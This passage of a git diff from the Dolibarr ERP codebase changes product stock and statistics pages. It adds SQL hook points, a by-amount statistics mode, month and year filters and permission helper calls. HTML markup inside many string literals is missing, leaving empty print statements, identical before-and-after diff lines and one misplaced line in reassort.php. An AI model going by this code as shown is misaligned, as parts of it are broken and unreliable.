(".getEntity('stock').")"; if (!empty($search_categ) && $search_categ != '-1') { $sql .= " AND "; if ($search_categ == -2) { @@ -315,20 +326,28 @@ foreach ($search as $key => $val) { } } } +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql .= " GROUP BY p.rowid, p.ref, p.label, p.barcode, p.price, p.price_ttc, p.price_base_type, p.entity,"; $sql .= " p.fk_product_type, p.tms,"; $sql .= " p.duration, p.tosell, p.tobuy, p.seuil_stock_alerte, p.desiredstock, p.stock, p.tosell, p.tobuy, p.tobatch,"; -$sql .= " ps.fk_entrepot,"; +$sql .= " ps.fk_entrepot, ps.reel,"; $sql .= " e.ref, e.lieu, e.fk_parent,"; $sql .= " pb.batch, pb.eatby, pb.sellby,"; $sql .= " pl.rowid, pl.eatby, pl.sellby"; +// Add GROUP BY from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql_having = ''; if ($search_toolowstock) { $sql_having .= " HAVING SUM(".$db->ifsql('ps.reel IS NULL', '0', 'ps.reel').") < p.seuil_stock_alerte"; // Not used yet } if ($search_stock_physique != '') { - $natural_search_physique = natural_search('SUM(' . $db->ifsql('pb.qty IS NULL', '0', 'pb.qty') . ')', $search_stock_physique, 1, 1); + $natural_search_physique = natural_search('SUM(' . $db->ifsql('pb.qty IS NULL', $db->ifsql('ps.reel IS NULL', '0', 'ps.reel'), 'pb.qty') . ')', $search_stock_physique, 1, 1); $natural_search_physique = " " . substr($natural_search_physique, 1, -1); // remove first "(" and last ")" characters if (!empty($sql_having)) { $sql_having .= " AND"; @@ -337,6 +356,17 @@ if ($search_stock_physique != '') { } $sql_having .= $natural_search_physique; } +// Add HAVING from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook +if (!empty($hookmanager->resPrint)) { + if (!empty($sql_having)) { + $sql_having .= " AND"; + } else { + $sql_having .= " HAVING"; + } + $sql_having .= $hookmanager->resPrint; +} if (!empty($sql_having)) { $sql .= $sql_having; } @@ -514,6 +544,13 @@ print '
      '.$langs->trans("DefaultTaxRate").''; + // TODO We show localtax from $object, but this properties may not be correct. Only value $object->default_vat_code is guaranted. $positiverates = ''; if (price2num($object->tva_tx)) { $positiverates .= ($positiverates ? '/' : '').price2num($object->tva_tx); @@ -1013,6 +1017,7 @@ if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_ if (empty($positiverates)) { $positiverates = '0'; } + print vatrate($positiverates.($object->default_vat_code ? ' ('.$object->default_vat_code.')' : ''), true, $object->tva_npr, 1); /* if ($object->default_vat_code) @@ -1026,7 +1031,7 @@ if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_ print '
      '; - print ''; + print '
      '; print '
      '; print $langs->trans("PriceLevel"); if ($user->admin) { @@ -1217,9 +1222,9 @@ if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_ if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY) || !empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY_MULTIPRICES)) { // TODO Fix the form inside tr instead of td print '
      '.$langs->trans("PriceByQuantity"); if ($object->prices_by_qty[0] == 0) { - print '  ('.$langs->trans("Activate").')'; + print '  ('.$langs->trans("Activate").')'; } else { - print '  ('.$langs->trans("DisablePriceByQty").')'; + print '  ('.$langs->trans("DisablePriceByQty").')'; } print ''; @@ -1307,7 +1312,7 @@ if (!empty($conf->global->PRODUIT_MULTIPRICES) || !empty($conf->global->PRODUIT_ print "
      \n"; print ''; -print '
      '; +print '
      '; print dol_get_fiche_end(); @@ -1524,7 +1529,7 @@ if ($action == 'edit_price' && $object->getRights()->creer) { otherPrices.show(); minPrice1.show(); } - }; + } jQuery(document).ready(function () { showHidePriceRules(); diff --git a/htdocs/product/reassort.php b/htdocs/product/reassort.php index ed7b7e3e77f..f22e688327a 100644 --- a/htdocs/product/reassort.php +++ b/htdocs/product/reassort.php @@ -133,6 +133,7 @@ $helpurl = 'EN:Module_Stocks_En|FR:Module_Stock|ES:Módulo_Stocks'; $form = new Form($db); $htmlother = new FormOther($db); +if (!empty($objp->stock_physique) && $objp->stock_physique < 0) { print ''; } $sql = 'SELECT p.rowid, p.ref, p.label, p.barcode, p.price, p.price_ttc, p.price_base_type, p.entity,'; $sql .= ' p.fk_product_type, p.tms as datem,'; @@ -147,10 +148,13 @@ $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $obje $sql .= $hookmanager->resPrint; $sql .= ' FROM '.MAIN_DB_PREFIX.'product as p'; $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_stock as s ON p.rowid = s.fk_product'; -$sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'entrepot as e ON s.fk_entrepot = e.rowid AND e.entity IN ('.getEntity('entrepot').')'; if (!empty($conf->global->PRODUCT_USE_UNITS)) { $sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'c_units as u on p.fk_unit = u.rowid'; } +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql .= " WHERE p.entity IN (".getEntity('product').")"; if (!empty($search_categ) && $search_categ != '-1') { $sql .= " AND "; @@ -168,6 +172,7 @@ if (!empty($search_categ) && $search_categ != '-1') { } $sql .= ")"; } +$sql .= " AND EXISTS (SELECT e.rowid FROM ".MAIN_DB_PREFIX."entrepot as e WHERE e.rowid = s.fk_entrepot AND e.entity IN (".getEntity('stock')."))"; if ($sall) { $sql .= natural_search(array('p.ref', 'p.label', 'p.description', 'p.note'), $sall); } @@ -206,10 +211,12 @@ $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $objec $sql .= $hookmanager->resPrint; $sql .= " GROUP BY p.rowid, p.ref, p.label, p.barcode, p.price, p.price_ttc, p.price_base_type, p.entity,"; $sql .= " p.fk_product_type, p.tms, p.duration, p.tosell, p.tobuy, p.seuil_stock_alerte, p.desiredstock"; -// Add fields from hooks + +// Add GROUP BY from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldSelect', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; + $sql_having = ''; if ($search_toolowstock) { $sql_having .= " HAVING SUM(".$db->ifsql('s.reel IS NULL', '0', 's.reel').") < p.seuil_stock_alerte"; @@ -225,6 +232,19 @@ if ($search_stock_physique != '') { } $sql_having .= $natural_search_physique; } + +// Add HAVING from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook +if (!empty($hookmanager->resPrint)) { + if (!empty($sql_having)) { + $sql_having .= " AND"; + } else { + $sql_having .= " HAVING"; + } + $sql_having .= $hookmanager->resPrint; +} + if (!empty($sql_having)) { $sql .= $sql_having; } @@ -363,6 +383,13 @@ if ($resql) { // Fields title search print '
      '; + $searchpicto = $form->showFilterAndCheckAddButtons(0); + print $searchpicto; + print ''; print ''; print ''; - $searchpicto = $form->showFilterAndCheckAddButtons(0); - print $searchpicto; - print ''; + $searchpicto = $form->showFilterAndCheckAddButtons(0); + print $searchpicto; + print '
      '; print $product->getNomUrl(1, '', 16); //if ($objp->stock_theorique < $objp->seuil_stock_alerte) print ' '.img_warning($langs->trans("StockTooLow")); print ''.$product->label.''.dol_escape_htmltag($product->label).''; @@ -460,14 +500,20 @@ if ($resql) { print ''.$objp->stock_theorique.''.$objp->seuil_stock_alerte.''.$objp->desiredstock.''; + print $objp->seuil_stock_alerte; + print ''; + print $objp->desiredstock; + print ''; if ($objp->seuil_stock_alerte != '' && ($objp->stock_physique < $objp->seuil_stock_alerte)) { - print img_warning($langs->trans("StockTooLow")).' '; + print img_warning($langs->trans("StockLowerThanLimit", $objp->seuil_stock_alerte)).' '; } - print price2num($objp->stock_physique, 'MS'); + if ($objp->stock_physique < 0) { print ''; } + print price(price2num($objp->stock_physique, 'MS'), 0, $langs, 1, 0); + if ($objp->stock_physique < 0) { print ''; } print ''; - print empty($product->stock_warehouse[$wh['id']]->real) ? '0' : $product->stock_warehouse[$wh['id']]->real; + print price(empty($product->stock_warehouse[$wh['id']]->real) ? 0 : price2num($product->stock_warehouse[$wh['id']]->real, 'MS'), 0, $langs, 1, 0); print ''; - if ($objp->seuil_stock_alerte != '' && ($product->stock_theorique < $objp->seuil_stock_alerte)) { - print img_warning($langs->trans("StockTooLow")).' '; + if ($objp->seuil_stock_alerte != '' && ($product->stock_theorique < (float) $objp->seuil_stock_alerte)) { + print img_warning($langs->trans("StockLowerThanLimit", $objp->seuil_stock_alerte)).' '; } - print price2num($product->stock_theorique, 'MS'); + if ($objp->stock_physique < 0) { print ''; } + print price(price2num($product->stock_theorique, 'MS'), 0, $langs, 1, 0); + if ($objp->stock_physique < 0) { print ''; } print ''.$objp->unit_short.''.dol_escape_htmltag($objp->unit_short).''; + print ''; print img_picto($langs->trans("StockMovement"), 'movement', 'class="pictofixedwidth"'); print ''.$langs->trans("Movements").''; print '
      '; +// Action column +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; +} print ''; @@ -556,6 +593,9 @@ print ''; print ''; print ''; print ''; +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; // Action column if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { print ''; +// Action column +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre(''); +} print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "p.ref", '', $param, "", $sortfield, $sortorder); print_liste_field_titre("Label", $_SERVER["PHP_SELF"], "p.label", '', $param, "", $sortfield, $sortorder); if (isModEnabled("service") && $type == 1) { @@ -591,7 +635,13 @@ print_liste_field_titre("PhysicalStock", $_SERVER["PHP_SELF"], "stock_physique", print_liste_field_titre(''); print_liste_field_titre("ProductStatusOnSell", $_SERVER["PHP_SELF"], "p.tosell", "", $param, '', $sortfield, $sortorder, 'right '); print_liste_field_titre("ProductStatusOnBuy", $_SERVER["PHP_SELF"], "p.tobuy", "", $param, '', $sortfield, $sortorder, 'right '); -print_liste_field_titre(''); +// Hook fields +$parameters = array('param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print_liste_field_titre(''); +} print "\n"; $product_static = new Product($db); @@ -635,7 +685,7 @@ while ($i < $imaxinloop) { $product_static->status_batch = $objp->tobatch; $product_lot_static->batch = $objp->batch; - $product_lot_static->product_id = $objp->rowid; + $product_lot_static->fk_product = $objp->rowid; $product_lot_static->id = $objp->lotid; $product_lot_static->eatby = $objp->eatby; $product_lot_static->sellby = $objp->sellby; @@ -648,6 +698,11 @@ while ($i < $imaxinloop) { print ''; + // Action column + if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } + // Ref print ''; print ''; - print ''; + // Fields values from hook + $parameters = array('obj'=>$objp); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $product); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + + // Action column + if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; + } print "\n"; $i++; diff --git a/htdocs/product/stats/bom.php b/htdocs/product/stats/bom.php index 66e673567a6..0ccc249b94f 100644 --- a/htdocs/product/stats/bom.php +++ b/htdocs/product/stats/bom.php @@ -121,7 +121,7 @@ if ($id > 0 || !empty($ref)) { print "
      '; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print ''; print ''; print '   '; @@ -571,6 +611,10 @@ $totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print '
      '; print $product_static->getNomUrl(1, '', 16); @@ -659,6 +714,7 @@ while ($i < $imaxinloop) { if (isModEnabled("service") && $type == 1) { print ''; + $regs = array(); if (preg_match('/([0-9]+)y/i', $objp->duration, $regs)) { print $regs[1].' '.$langs->trans("DurationYear"); } elseif (preg_match('/([0-9]+)m/i', $objp->duration, $regs)) { @@ -698,7 +754,19 @@ while ($i < $imaxinloop) { print ''; //if ($objp->seuil_stock_alerte && ($objp->stock_physique < $objp->seuil_stock_alerte)) print img_warning($langs->trans("StockTooLow")).' '; - print $objp->stock_physique; + if (is_null($objp->stock_physique)) { + if (!empty($objp->reel)) { + if ($objp->reel < 0) { print ''; } + print price2num($objp->reel, 'MS'); + if ($objp->reel < 0) { print ''; } + } + } else { + if (!empty($objp->stock_physique)) { + if ($objp->stock_physique < 0) { print ''; } + print price2num($objp->stock_physique, 'MS'); + if ($objp->stock_physique < 0) { print ''; } + } + } print ''; @@ -710,7 +778,15 @@ while ($i < $imaxinloop) { print ''.$product_static->LibStatut($objp->tobuy, 5, 1).'
      "; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/card.php b/htdocs/product/stats/card.php index b0d06f15701..ab7020a5df8 100644 --- a/htdocs/product/stats/card.php +++ b/htdocs/product/stats/card.php @@ -191,24 +191,24 @@ if ($result || !($id > 0)) { } print ''; - print ''; + print ''; if (!($id > 0) || $notab) { // Type - print ''; // Product - print ''; // Tag if (isModEnabled('categorie')) { - print ''; // thirdparty - print ''; @@ -254,17 +254,18 @@ if ($result || !($id > 0)) { } // Choice of stats mode (byunit or bynumber) + if (!empty($conf->dol_use_jmobile)) { print "\n".'
      '."\n"; } - if ($mode == 'bynumber') { + if ($mode != 'byunit') { print ''; } else { print ''; } print $langs->trans("StatsByNumberOfUnits"); - if ($mode == 'bynumber') { + if ($mode != 'byunit') { print ''; } else { print ''; @@ -274,18 +275,35 @@ if ($result || !($id > 0)) { print '
      '."\n".'
      '."\n"; } - if ($mode == 'byunit') { + if ($mode != 'bynumber') { print ''; } else { print ''; } print $langs->trans("StatsByNumberOfEntities"); - if ($mode == 'byunit') { + if ($mode != 'bynumber') { print ''; } else { print ''; } + if (!empty($conf->dol_use_jmobile)) { + print '
      '."\n".'
      '."\n"; + } + + if ($mode != 'byamount') { + print ''; + } else { + print ''; + } + print $langs->trans("StatsByAmount"); + if ($mode != 'byamount') { + print ''; + } else { + print ''; + } + + // End of choices if (!empty($conf->dol_use_jmobile)) { print '
      '; } else { @@ -304,52 +322,55 @@ if ($result || !($id > 0)) { } } + $arrayforlabel = array('byunit' => 'NumberOfUnits', 'bynumber' => 'NumberOf', 'byamount' => 'AmountIn'); + if (isModEnabled('propal')) { $graphfiles['propal'] = array('modulepart'=>'productstats_proposals', - 'file' => $object->id.'/propal12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsProposals") : $langs->transnoentitiesnoconv("NumberOfProposals"))); + 'file' => $object->id.'/propal12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("Proposals"))); } if (isModEnabled('supplier_proposal')) { + $langs->load("supplier_proposal"); $graphfiles['proposalssuppliers'] = array('modulepart'=>'productstats_proposalssuppliers', - 'file' => $object->id.'/proposalssuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsSupplierProposals") : $langs->transnoentitiesnoconv("NumberOfSupplierProposals"))); + 'file' => $object->id.'/proposalssuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("SupplierProposals"))); } if (isModEnabled('order')) { $graphfiles['orders'] = array('modulepart'=>'productstats_orders', - 'file' => $object->id.'/orders12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsCustomerOrders") : $langs->transnoentitiesnoconv("NumberOfCustomerOrders"))); + 'file' => $object->id.'/orders12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("Orders"))); } if (isModEnabled('supplier_order')) { $graphfiles['orderssuppliers'] = array('modulepart'=>'productstats_orderssuppliers', - 'file' => $object->id.'/orderssuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsSupplierOrders") : $langs->transnoentitiesnoconv("NumberOfSupplierOrders"))); + 'file' => $object->id.'/orderssuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("SuppliersOrders"))); } if (isModEnabled('facture')) { $graphfiles['invoices'] = array('modulepart'=>'productstats_invoices', - 'file' => $object->id.'/invoices12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsCustomerInvoices") : $langs->transnoentitiesnoconv("NumberOfCustomerInvoices"))); + 'file' => $object->id.'/invoices12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("Invoices"))); } if (isModEnabled('supplier_invoice')) { $graphfiles['invoicessuppliers'] = array('modulepart'=>'productstats_invoicessuppliers', - 'file' => $object->id.'/invoicessuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsSupplierInvoices") : $langs->transnoentitiesnoconv("NumberOfSupplierInvoices"))); + 'file' => $object->id.'/invoicessuppliers12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("SupplierInvoices"))); } if (isModEnabled('contrat')) { $graphfiles['contracts'] = array('modulepart'=>'productstats_contracts', 'file' => $object->id.'/contracts12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsContracts") : $langs->transnoentitiesnoconv("NumberOfContracts"))); + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode], $langs->transnoentitiesnoconv("Contracts"))); } - if (isModEnabled('mrp')) { + if (isModEnabled('mrp') && $mode != 'byamount') { $graphfiles['mrp'] = array('modulepart'=>'productstats_mrp', 'file' => $object->id.'/mos12m'.((string) $type != '' ? '_type'.$type : '').'_'.$mode.($search_year > 0 ? '_year'.$search_year : '').'.png', - 'label' => ($mode == 'byunit' ? $langs->transnoentitiesnoconv("NumberOfUnitsMos") : $langs->transnoentitiesnoconv("NumberOfMos"))); + 'label' => $langs->transnoentitiesnoconv($arrayforlabel[$mode]."Mos")); } $px = new DolGraph(); @@ -440,16 +461,16 @@ if ($result || !($id > 0)) { continue; } - if ($graphfiles == 'propal' && !$user->rights->propal->lire) { + if ($graphfiles == 'propal' && empty($user->rights->propal->lire)) { continue; } - if ($graphfiles == 'order' && !$user->rights->commande->lire) { + if ($graphfiles == 'order' && empty($user->rights->commande->lire)) { continue; } - if ($graphfiles == 'invoices' && !$user->rights->facture->lire) { + if ($graphfiles == 'invoices' && empty($user->rights->facture->lire)) { continue; } - if ($graphfiles == 'proposals_suppliers' && !$user->rights->supplier_proposal->lire) { + if ($graphfiles == 'proposals_suppliers' && empty($user->rights->supplier_proposal->lire)) { continue; } if ($graphfiles == 'invoices_suppliers' && empty($user->rights->fournisseur->facture->lire)) { @@ -458,7 +479,7 @@ if ($result || !($id > 0)) { if ($graphfiles == 'orders_suppliers' && empty($user->rights->fournisseur->commande->lire)) { continue; } - if ($graphfiles == 'mrp' && empty($user->rights->mrp->mo->read)) { + if ($graphfiles == 'mrp' && empty($user->rights->mrp->read)) { continue; } @@ -494,7 +515,7 @@ if ($result || !($id > 0)) { print ''; print ''; // Image - print ''; print '
      '.$langs->trans("Filter").'
      '.$langs->trans("Filter").'
      '.$langs->trans("Type").''; + print '
      '.$langs->trans("Type").''; $array = array('-1'=>' ', '0'=>$langs->trans('Product'), '1'=>$langs->trans('Service')); print $form->selectarray('type', $array, $type, 0, 0, 0, '', 0, 0, 0, '', 'minwidth100'); print '
      '.$langs->trans("ProductOrService").''; + print '
      '.$langs->trans("ProductOrService").''; print img_picto('', 'product', 'class="pictofixedwidth"'); print $form->select_produits($id, 'id', '', 0, 0, 1, 2, '', ($conf->dol_optimize_smallscreen ? 1 : 0), array(), 0, '1', 0, 'widthcentpercentminusx maxwidth400'); print '
      '.$langs->trans("Categories").''; + print '
      '.$langs->trans("Categories").''; $moreforfilter .= img_picto($langs->trans("Categories"), 'category', 'class="pictofixedwidth"'); $moreforfilter .= $htmlother->select_categories(Categorie::TYPE_PRODUCT, $search_categ, 'search_categ', 1, 1, 'widthcentpercentminusx maxwidth400'); print $moreforfilter; @@ -219,7 +219,7 @@ if ($result || !($id > 0)) { } // Year - print '
      '.$langs->trans("Year").''; + print '
      '.$langs->trans("Year").''; $arrayyears = array(); for ($year = $currentyear - 25; $year < $currentyear; $year++) { $arrayyears[$year] = $year; @@ -235,7 +235,7 @@ if ($result || !($id > 0)) { print '
      '.$langs->trans("ThirdParty").''; + print '
      '.$langs->trans("ThirdParty").''; print img_picto('', 'company', 'class="pictofixedwidth"'); print $form->select_company($socid, 'socid', '', 1, 0, 0, array(), 0, 'widthcentpercentminusx maxwidth400'); print '
      '.$linktoregenerate.'
      '; + print '
      '; print $graphfiles[$key]['output']; print '
      '; diff --git a/htdocs/product/stats/commande.php b/htdocs/product/stats/commande.php index 5559eaf8413..d5854fdc702 100644 --- a/htdocs/product/stats/commande.php +++ b/htdocs/product/stats/commande.php @@ -131,12 +131,12 @@ if ($id > 0 || !empty($ref)) { print ""; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); - if ($user->rights->commande->lire) { + if ($user->hasRight('commande', 'lire')) { $sql = "SELECT DISTINCT s.nom as name, s.rowid as socid, s.code_client, c.rowid, d.total_ht as total_ht, c.ref,"; $sql .= " c.ref_client,"; $sql .= " c.date_commande, c.fk_statut as statut, c.facture, c.rowid as commandeid, d.rowid, d.qty"; diff --git a/htdocs/product/stats/commande_fournisseur.php b/htdocs/product/stats/commande_fournisseur.php index 6ae1d7881ef..4d5972529cd 100644 --- a/htdocs/product/stats/commande_fournisseur.php +++ b/htdocs/product/stats/commande_fournisseur.php @@ -131,7 +131,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/contrat.php b/htdocs/product/stats/contrat.php index bcf9c8c0737..a53c71085fd 100644 --- a/htdocs/product/stats/contrat.php +++ b/htdocs/product/stats/contrat.php @@ -120,7 +120,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/facture.php b/htdocs/product/stats/facture.php index 3ff0b00d56a..c0a4d36793c 100644 --- a/htdocs/product/stats/facture.php +++ b/htdocs/product/stats/facture.php @@ -147,7 +147,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/facture_fournisseur.php b/htdocs/product/stats/facture_fournisseur.php index 20bb56a3c19..8e89a05273f 100644 --- a/htdocs/product/stats/facture_fournisseur.php +++ b/htdocs/product/stats/facture_fournisseur.php @@ -132,7 +132,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/facturerec.php b/htdocs/product/stats/facturerec.php index 9b982407825..b09e572763a 100644 --- a/htdocs/product/stats/facturerec.php +++ b/htdocs/product/stats/facturerec.php @@ -148,7 +148,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/mo.php b/htdocs/product/stats/mo.php index 085a6687f5c..561557e62fe 100644 --- a/htdocs/product/stats/mo.php +++ b/htdocs/product/stats/mo.php @@ -2,6 +2,7 @@ /* Copyright (C) 2003-2007 Rodolphe Quiedeville * Copyright (C) 2004-2021 Laurent Destailleur * Copyright (C) 2005-2009 Regis Houssin + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -28,6 +29,7 @@ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php'; require_once DOL_DOCUMENT_ROOT.'/mrp/class/mo.class.php'; require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php'; // Load translation files required by the page $langs->loadLangs(array('mrp', 'products', 'companies')); @@ -63,6 +65,14 @@ if (!$sortfield) { $sortfield = "c.date_valid"; } +$search_month = GETPOST('search_month', 'int'); +$search_year = GETPOST('search_year', 'int'); + +if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + $search_month = ''; + $search_year = ''; +} + $result = restrictedArea($user, 'produit|service', $fieldvalue, 'product&product', '', '', $fieldtype); @@ -74,6 +84,7 @@ $staticmo = new Mo($db); $staticmoligne = new MoLine($db); $form = new Form($db); +$formother = new FormOther($db); if ($id > 0 || !empty($ref)) { $product = new Product($db); @@ -120,7 +131,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); @@ -139,6 +150,12 @@ if ($id > 0 || !empty($ref)) { $sql .= " WHERE c.rowid = cd.fk_mo"; $sql .= " AND c.entity IN (".getEntity('mo').")"; $sql .= " AND cd.fk_product = ".((int) $product->id); + if (!empty($search_month)) { + $sql .= ' AND MONTH(c.date_valid) IN ('.$db->sanitize($search_month).')'; + } + if (!empty($search_year)) { + $sql .= ' AND YEAR(c.date_valid) IN ('.$db->sanitize($search_year).')'; + } if ($socid) { $sql .= " AND s.rowid = ".((int) $socid); } @@ -190,6 +207,18 @@ if ($id > 0 || !empty($ref)) { $option .= '&page='.urlencode($page); } + print '
      '; + print '
      '; + print $langs->trans('Period').' ('.$langs->trans("DateCreation").') - '; + print $langs->trans('Month').': '; + print $langs->trans('Year').':'.$formother->selectyear($search_year ? $search_year : - 1, 'search_year', 1, 20, 5); + print '
      '; + print ''; + print ''; + print '
      '; + print '
      '; + print '
      '; + $i = 0; print '
      '; print ''; diff --git a/htdocs/product/stats/propal.php b/htdocs/product/stats/propal.php index b70d2e08161..e1b46677c65 100644 --- a/htdocs/product/stats/propal.php +++ b/htdocs/product/stats/propal.php @@ -133,7 +133,7 @@ if ($id > 0 || !empty($ref)) { print "
      "; print '
      '; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stats/supplier_proposal.php b/htdocs/product/stats/supplier_proposal.php index 50b17b0ac06..a182aa61eb6 100644 --- a/htdocs/product/stats/supplier_proposal.php +++ b/htdocs/product/stats/supplier_proposal.php @@ -132,7 +132,7 @@ if ($id > 0 || !empty($ref)) { print ""; print ''; - print '
      '; + print '
      '; print dol_get_fiche_end(); diff --git a/htdocs/product/stock/card.php b/htdocs/product/stock/card.php index 81fcb2db701..ee67248c939 100644 --- a/htdocs/product/stock/card.php +++ b/htdocs/product/stock/card.php @@ -364,7 +364,7 @@ if ($action == 'create') { // Status print ''.$langs->trans("Status").''; - print ''; foreach ($object->statuts as $key => $value) { if ($key == 1) { print ''; @@ -383,7 +383,7 @@ if ($action == 'create') { // Categories print ''.$langs->trans("Categories").''; $cate_arbo = $form->select_all_categories(Categorie::TYPE_WAREHOUSE, '', 'parent', 64, 0, 1); - print img_picto('', 'category').$form->multiselectarray('categories', $cate_arbo, GETPOST('categories', 'array'), '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); + print img_picto('', 'category', 'class="pictofixedwidth"').$form->multiselectarray('categories', $cate_arbo, GETPOST('categories', 'array'), '', 0, 'quatrevingtpercent widthcentpercentminusx', 0, 0); print ""; } print ''; @@ -453,7 +453,7 @@ if ($action == 'create') { $morehtmlref .= ''; $morehtmlref .= ''; } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, ($socid > 0 ? $socid : -1), $object->fk_project, 'none', 